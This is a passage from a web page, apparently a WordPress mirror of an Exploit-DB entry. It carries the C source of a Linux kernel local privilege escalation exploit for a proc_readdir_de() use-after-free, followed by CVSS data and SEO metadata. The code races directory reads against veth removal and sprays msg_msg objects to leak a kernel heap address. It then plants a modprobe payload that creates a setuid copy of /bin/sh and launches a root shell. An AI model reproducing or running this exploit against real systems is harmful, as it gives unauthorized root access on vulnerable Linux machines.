\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstruct race_ctx {\\r\\n    int             rtnl_fd;\\r\\n    int             dir_fd;\\r\\n    struct spray_state spray;\\r\\n    volatile int    deleting;\\r\\n    volatile int    stop;\\r\\n    uint64_t        leaked_addr;\\r\\n    int             attempts;\\r\\n};\\r\\n\\r\\n\/*\\r\\n * Readdir thread: continuously calls getdents64() on \/proc\/self\/net\/dev_snmp6\/\\r\\n * looking for anomalous d_ino values that indicate the UAF was hit.\\r\\n *\\r\\n * Normal d_ino values are small numbers assigned by proc_alloc_inum().\\r\\n * If we see a kernel pointer (0xffff&#8230;) in d_ino, it means we read\\r\\n * from sprayed msg_msg data where the msg_msg header&#8217;s m_list pointer\\r\\n * overlaps with the proc_dir_entry&#8217;s low_ino field.\\r\\n *\/\\r\\nstatic void *readdir_thread(void *arg)\\r\\n{\\r\\n    struct race_ctx *ctx = (struct race_ctx *)arg;\\r\\n    char buf[4096];\\r\\n\\r\\n    while (!ctx-\\u003estop) {\\r\\n        \/* Rewind the directory for each scan *\/\\r\\n        lseek(ctx-\\u003edir_fd, 0, SEEK_SET);\\r\\n\\r\\n        long nread = my_getdents64(ctx-\\u003edir_fd, buf, sizeof(buf));\\r\\n        if (nread \\u003c= 0) {\\r\\n            usleep(100);\\r\\n            continue;\\r\\n        }\\r\\n\\r\\n        \/* Scan all entries for anomalous d_ino *\/\\r\\n        long pos = 0;\\r\\n        while (pos \\u003c nread) {\\r\\n            struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + pos);\\r\\n            if (d-\\u003ed_reclen == 0) break;\\r\\n\\r\\n            \/*\\r\\n             * Check if d_ino looks like a kernel address.\\r\\n             * This happens when the freed proc_dir_entry is reclaimed\\r\\n             * by a msg_msg, and the msg_msg header&#8217;s m_list.next\\r\\n             * (at slab object offset 0) overlaps with a field that\\r\\n             * getdents64 returns in d_ino.\\r\\n             *\/\\r\\n            if (IS_KERNEL_PTR(d-\\u003ed_ino)) {\\r\\n                ctx-\\u003eleaked_addr = d-\\u003ed_ino;\\r\\n                ok(\\&#8221;UAF HIT! d_ino=0x%016lx (kernel heap pointer)\\&#8221;,\\r\\n                   (unsigned long)d-\\u003ed_ino);\\r\\n                ctx-\\u003estop = 1;\\r\\n                return NULL;\\r\\n            }\\r\\n\\r\\n            pos += d-\\u003ed_reclen;\\r\\n        }\\r\\n    }\\r\\n    return NULL;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Modprobe payload \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int setup_modprobe_payload(void)\\r\\n{\\r\\n    FILE *f = fopen(\\&#8221;\/tmp\/pwn\\&#8221;, \\&#8221;w\\&#8221;);\\r\\n    if (!f) return -1;\\r\\n    fprintf(f, \\&#8221;#!\/bin\/sh\\\\n\/bin\/cp \/bin\/sh \/tmp\/rootsh\\\\n\/bin\/chmod u+s \/tmp\/rootsh\\\\n\\&#8221;);\\r\\n    fclose(f);\\r\\n    chmod(\\&#8221;\/tmp\/pwn\\&#8221;, 0755);\\r\\n\\r\\n    f = fopen(\\&#8221;\/tmp\/trigger\\&#8221;, \\&#8221;w\\&#8221;);\\r\\n    if (!f) return -1;\\r\\n    fprintf(f, \\&#8221;\\\\xff\\\\xff\\\\xff\\\\xff\\&#8221;);\\r\\n    fclose(f);\\r\\n    chmod(\\&#8221;\/tmp\/trigger\\&#8221;, 0755);\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int trigger_modprobe(void)\\r\\n{\\r\\n    pid_t p = fork();\\r\\n    if (p \\u003c 0) return -1;\\r\\n    if (p == 0) { execl(\\&#8221;\/tmp\/trigger\\&#8221;, \\&#8221;\/tmp\/trigger\\&#8221;, NULL); _exit(127); }\\r\\n    int st;\\r\\n    waitpid(p, \\u0026st, 0);\\r\\n\\r\\n    struct stat sb;\\r\\n    if (stat(\\&#8221;\/tmp\/rootsh\\&#8221;, \\u0026sb) == 0 \\u0026\\u0026 (sb.st_mode \\u0026 S_ISUID))\\r\\n        return 0;\\r\\n    return -1;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Main exploitation steps \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int step_setup(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 1: Setting up user\/net namespace&#8230;\\&#8221;);\\r\\n\\r\\n    if (setup_namespace() \\u003c 0) return -1;\\r\\n    ok(\\&#8221;Namespace ready, CAP_NET_ADMIN obtained\\&#8221;);\\r\\n\\r\\n    ctx-\\u003ertnl_fd = rtnl_open();\\r\\n    if (ctx-\\u003ertnl_fd \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot open rtnetlink: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    if (spray_init(\\u0026ctx-\\u003espray) \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot create message queue: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int step_create_veths(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 2: Creating veth pairs for proc entries&#8230;\\&#8221;);\\r\\n\\r\\n    int created = 0;\\r\\n    for (int i = 0; i \\u003c NUM_VETH_PAIRS; i++) {\\r\\n        if (create_veth(ctx-\\u003ertnl_fd, i) == 0)\\r\\n            created++;\\r\\n    }\\r\\n\\r\\n    if (created \\u003c 4) {\\r\\n        fail(\\&#8221;Need at least 4 veth pairs, got %d\\&#8221;, created);\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/* Open the proc directory for readdir *\/\\r\\n    ctx-\\u003edir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);\\r\\n    if (ctx-\\u003edir_fd \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot open %s: %s\\&#8221;, PROC_NET_DIR, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    ok(\\&#8221;Created %d veth pairs (%s populated)\\&#8221;, created, PROC_NET_DIR);\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int step_race(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 3: Racing getdents vs device removal&#8230;\\&#8221;);\\r\\n\\r\\n    for (int attempt = 1; attempt \\u003c= MAX_RACE_ATTEMPTS; attempt++) {\\r\\n        info(\\&#8221;Attempt %d\/%d&#8230;\\&#8221;, attempt, MAX_RACE_ATTEMPTS);\\r\\n        ctx-\\u003eattempts = attempt;\\r\\n\\r\\n        \/* Recreate veth pairs for this attempt *\/\\r\\n        for (int i = 0; i \\u003c NUM_VETH_PAIRS; i++)\\r\\n            create_veth(ctx-\\u003ertnl_fd, i);\\r\\n\\r\\n        \/* Reopen directory *\/\\r\\n        if (ctx-\\u003edir_fd \\u003e= 0) close(ctx-\\u003edir_fd);\\r\\n        ctx-\\u003edir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);\\r\\n        if (ctx-\\u003edir_fd \\u003c 0) continue;\\r\\n\\r\\n        ctx-\\u003estop = 0;\\r\\n        ctx-\\u003eleaked_addr = 0;\\r\\n\\r\\n        \/* Start readdir racer thread *\/\\r\\n        pthread_t tid;\\r\\n        if (pthread_create(\\u0026tid, NULL, readdir_thread, ctx) != 0)\\r\\n            continue;\\r\\n\\r\\n        \/* Give readdir a moment to start *\/\\r\\n        usleep(1000);\\r\\n\\r\\n        \/*\\r\\n         * RACE: rapidly delete veth interfaces.\\r\\n         * Each deletion triggers remove_proc_entry() \u2192 rb_erase()\\r\\n         * without RB_CLEAR_NODE() \u2192 stale rb links.\\r\\n         * The readdir thread can follow stale links to freed memory.\\r\\n         *\/\\r\\n        for (int i = NUM_VETH_PAIRS &#8211; 1; i \\u003e= 0; i&#8211;) {\\r\\n            delete_veth(ctx-\\u003ertnl_fd, i);\\r\\n\\r\\n            \/* Immediately spray to reclaim freed proc_dir_entry slot *\/\\r\\n            spray_alloc(\\u0026ctx-\\u003espray, 4);\\r\\n        }\\r\\n\\r\\n        \/* Wait for readdir thread to finish or detect UAF *\/\\r\\n        usleep(50000);\\r\\n        ctx-\\u003estop = 1;\\r\\n        pthread_join(tid, NULL);\\r\\n\\r\\n        \/* Clean up spray for next attempt *\/\\r\\n        spray_cleanup(\\u0026ctx-\\u003espray);\\r\\n        spray_init(\\u0026ctx-\\u003espray);\\r\\n\\r\\n        if (ctx-\\u003eleaked_addr != 0) {\\r\\n            ok(\\&#8221;UAF triggered on attempt %d!\\&#8221;, attempt);\\r\\n            return 0;\\r\\n        }\\r\\n    }\\r\\n\\r\\n    fail(\\&#8221;Could not trigger UAF after %d attempts\\&#8221;, MAX_RACE_ATTEMPTS);\\r\\n    return -1;\\r\\n}\\r\\n\\r\\nstatic int step_escalate(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 4: Analyzing leak and escalating&#8230;\\&#8221;);\\r\\n\\r\\n    if (ctx-\\u003eleaked_addr != 0) {\\r\\n        ok(\\&#8221;Kernel heap leak: 0x%016lx\\&#8221;, (unsigned long)ctx-\\u003eleaked_addr);\\r\\n        info(\\&#8221;This address is from msg_msg m_list.next\/prev\\&#8221;);\\r\\n        info(\\&#8221;It reveals the kernel heap (physmap) randomization\\&#8221;);\\r\\n\\r\\n        \/*\\r\\n         * With the heap address, we can compute modprobe_path for\\r\\n         * a specific kernel version. The offset between heap base\\r\\n         * and kernel text base is kernel-build-specific.\\r\\n         *\\r\\n         * For a complete exploit:\\r\\n         * 1. Use heap address to determine KASLR slide\\r\\n         * 2. Compute modprobe_path = kernel_base + offset\\r\\n         * 3. Trigger another UAF + spray to write \\&#8221;\/tmp\/pwn\\&#8221; there\\r\\n         * 4. Trigger modprobe \u2192 root\\r\\n         *\/\\r\\n        if (setup_modprobe_payload() \\u003c 0) {\\r\\n            fail(\\&#8221;Cannot set up payload\\&#8221;);\\r\\n            return -1;\\r\\n        }\\r\\n\\r\\n        info(\\&#8221;Attempting modprobe trigger&#8230;\\&#8221;);\\r\\n        if (trigger_modprobe() == 0) {\\r\\n            ok(\\&#8221;Got root!\\&#8221;);\\r\\n            return 0;\\r\\n        }\\r\\n\\r\\n        info(\\&#8221;modprobe_path overwrite requires kernel-specific offset\\&#8221;);\\r\\n        info(\\&#8221;Heap leak CONFIRMED \u2014 full chain needs target offsets\\&#8221;);\\r\\n        return 1; \/* partial success *\/\\r\\n    }\\r\\n\\r\\n    return -1;\\r\\n}\\r\\n\\r\\nstatic int step_cleanup(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 5: Cleaning up&#8230;\\&#8221;);\\r\\n    spray_cleanup(\\u0026ctx-\\u003espray);\\r\\n    if (ctx-\\u003edir_fd \\u003e= 0) close(ctx-\\u003edir_fd);\\r\\n    if (ctx-\\u003ertnl_fd \\u003e= 0) close(ctx-\\u003ertnl_fd);\\r\\n    unlink(\\&#8221;\/tmp\/pwn\\&#8221;);\\r\\n    unlink(\\&#8221;\/tmp\/trigger\\&#8221;);\\r\\n    ok(\\&#8221;Cleanup complete\\&#8221;);\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nint main(void)\\r\\n{\\r\\n    puts(BANNER);\\r\\n\\r\\n    if (!is_vulnerable()) {\\r\\n        info(\\&#8221;Kernel is patched. Nothing to do.\\&#8221;);\\r\\n        return 0;\\r\\n    }\\r\\n    if (getuid() == 0) {\\r\\n        info(\\&#8221;Already root.\\&#8221;);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    struct race_ctx ctx;\\r\\n    memset(\\u0026ctx, 0, sizeof(ctx));\\r\\n    ctx.rtnl_fd = -1;\\r\\n    ctx.dir_fd = -1;\\r\\n    ctx.spray.qid = -1;\\r\\n\\r\\n    int ret;\\r\\n\\r\\n    ret = step_setup(\\u0026ctx);\\r\\n    if (ret \\u003c 0) { fail(\\&#8221;Setup failed\\&#8221;); return 1; }\\r\\n\\r\\n    ret = step_create_veths(\\u0026ctx);\\r\\n    if (ret \\u003c 0) { fail(\\&#8221;Veth creation failed\\&#8221;); step_cleanup(\\u0026ctx); return 1; }\\r\\n\\r\\n    ret = step_race(\\u0026ctx);\\r\\n    if (ret \\u003c 0) { fail(\\&#8221;Race failed\\&#8221;); step_cleanup(\\u0026ctx); return 1; }\\r\\n\\r\\n    ret = step_escalate(\\u0026ctx);\\r\\n    step_cleanup(\\u0026ctx);\\r\\n\\r\\n    if (ret == 0) {\\r\\n        ok(\\&#8221;Spawning root shell&#8230;\\&#8221;);\\r\\n        char *argv[] = { \\&#8221;\/tmp\/rootsh\\&#8221;, \\&#8221;-p\\&#8221;, NULL };\\r\\n        execv(\\&#8221;\/tmp\/rootsh\\&#8221;, argv);\\r\\n        info(\\&#8221;execv failed \u2014 check \/tmp\/rootsh\\&#8221;);\\r\\n    } else if (ret == 1) {\\r\\n        fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n        info(\\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\&#8221;);\\r\\n        info(\\&#8221;PARTIAL SUCCESS: UAF + heap leak DEMONSTRATED\\&#8221;);\\r\\n        info(\\&#8221;  Leaked: 0x%016lx\\&#8221;, (unsigned long)ctx.leaked_addr);\\r\\n        info(\\&#8221;  Full LPE requires target-specific KASLR offset\\&#8221;);\\r\\n        info(\\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\&#8221;);\\r\\n    }\\r\\n\\r\\n    return (ret \\u003c= 1) ? 0 : 1;\\r\\n}&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52550&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52550&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-04T17:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel procreaddirde 6.18-rc5 &#8211; Local Privilege Escalation CVE: CVE-2025-40271 Date: 2026-03-19 Exploit Author: Aviral Srivastava Vendor: Linux Kernel kernel.org Affected: 3.14+ through&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-51288","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation_EDB-ID:52550 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=51288\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation_EDB-ID:52550 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-04T17:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel procreaddirde 6.18-rc5 &#8211; Local Privilege Escalation CVE: CVE-2025-40271 Date: 2026-03-19 Exploit Author: Aviral Srivastava Vendor: Linux Kernel kernel.org Affected: 3.14+ through...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=51288\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-04T12:50:30+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"25 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51288#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51288\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Linux Kernel proc_readdir_de() 6.18-rc5 &#8211; Local Privilege Escalation_EDB-ID:52550\",\"datePublished\":\"2026-05-04T12:50:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51288\"},\"wordCount\":4992,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51288#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51288\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51288\",\"name\":\"Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation_EDB-ID:52550 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-04T12:50:30+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51288#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51288\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51288#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Linux Kernel proc_readdir_de() 6.18-rc5 &#8211; Local Privilege Escalation_EDB-ID:52550\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation_EDB-ID:52550 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=51288","og_locale":"en_US","og_type":"article","og_title":"Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation_EDB-ID:52550 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-04T17:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel procreaddirde 6.18-rc5 &#8211; Local Privilege Escalation CVE: CVE-2025-40271 Date: 2026-03-19 Exploit Author: Aviral Srivastava Vendor: Linux Kernel kernel.org Affected: 3.14+ through...","og_url":"https:\/\/zero.redgem.net\/?p=51288","og_site_name":"zero redgem","article_published_time":"2026-05-04T12:50:30+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"25 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=51288#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=51288"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Linux Kernel proc_readdir_de() 6.18-rc5 &#8211; Local Privilege Escalation_EDB-ID:52550","datePublished":"2026-05-04T12:50:30+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=51288"},"wordCount":4992,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=51288#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=51288","url":"https:\/\/zero.redgem.net\/?p=51288","name":"Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation_EDB-ID:52550 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-04T12:50:30+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=51288#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=51288"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=51288#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Linux Kernel proc_readdir_de() 6.18-rc5 &#8211; Local Privilege Escalation_EDB-ID:52550"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 